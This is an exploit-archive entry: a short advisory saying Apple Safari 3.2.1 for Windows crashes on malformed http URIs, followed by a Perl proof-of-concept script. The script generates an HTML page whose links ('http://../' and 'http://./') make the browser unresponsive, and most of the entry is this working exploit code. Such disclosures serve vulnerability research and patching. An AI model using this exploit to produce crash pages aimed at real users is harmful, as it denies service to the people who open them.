source: https://www.securityfocus.com/bid/33481/info Apple Safari is prone to a denial-of-service vulnerability because it fails to adequately sanitize user-supplied input. Attackers can exploit this issue to crash the affected application, denying service to legitimate users. Apple Safari 3.2.1 for Windows is vulnerable; other versions may also be affected. # !/usr/bin/perl # Safari_httpDoSPoc.pl # Safari for Windows 3.2.1 Remote http: uri handler DoS # Lostmon [Lostmon@gmail.com ] #[http://lostmon.blogspot.com] $archivo = $ARGV[0]; if(!defined($archivo)) { print "Uso: $0 <archivo.html>\n"; } $cabecera = "<html><Title> Safari 3.2.1 for windows Browser Die PoC By Lostmon</title> <body>" . "\n"; $codigo = "<h3>Safari 3.2.1 for windows Browser Die PoC By Lostmon <br>(lostmon@gmail.com) http://lostmon.blogspot.com</h3> <P>This PoC is a malformed http URI, this causes that safari for windows<br> turn inestable and unresponsive.<br> Click THIS link.=></p><a href=\"http://../\">Safari Die()</a> or this other =><a href=\"http://./\">Safari Die()</a> "; $piepag = "</body></html>"; $datos = $cabecera . $codigo . $piepag; open(FILE, '>' . $archivo); print FILE $datos; close(FILE); exit;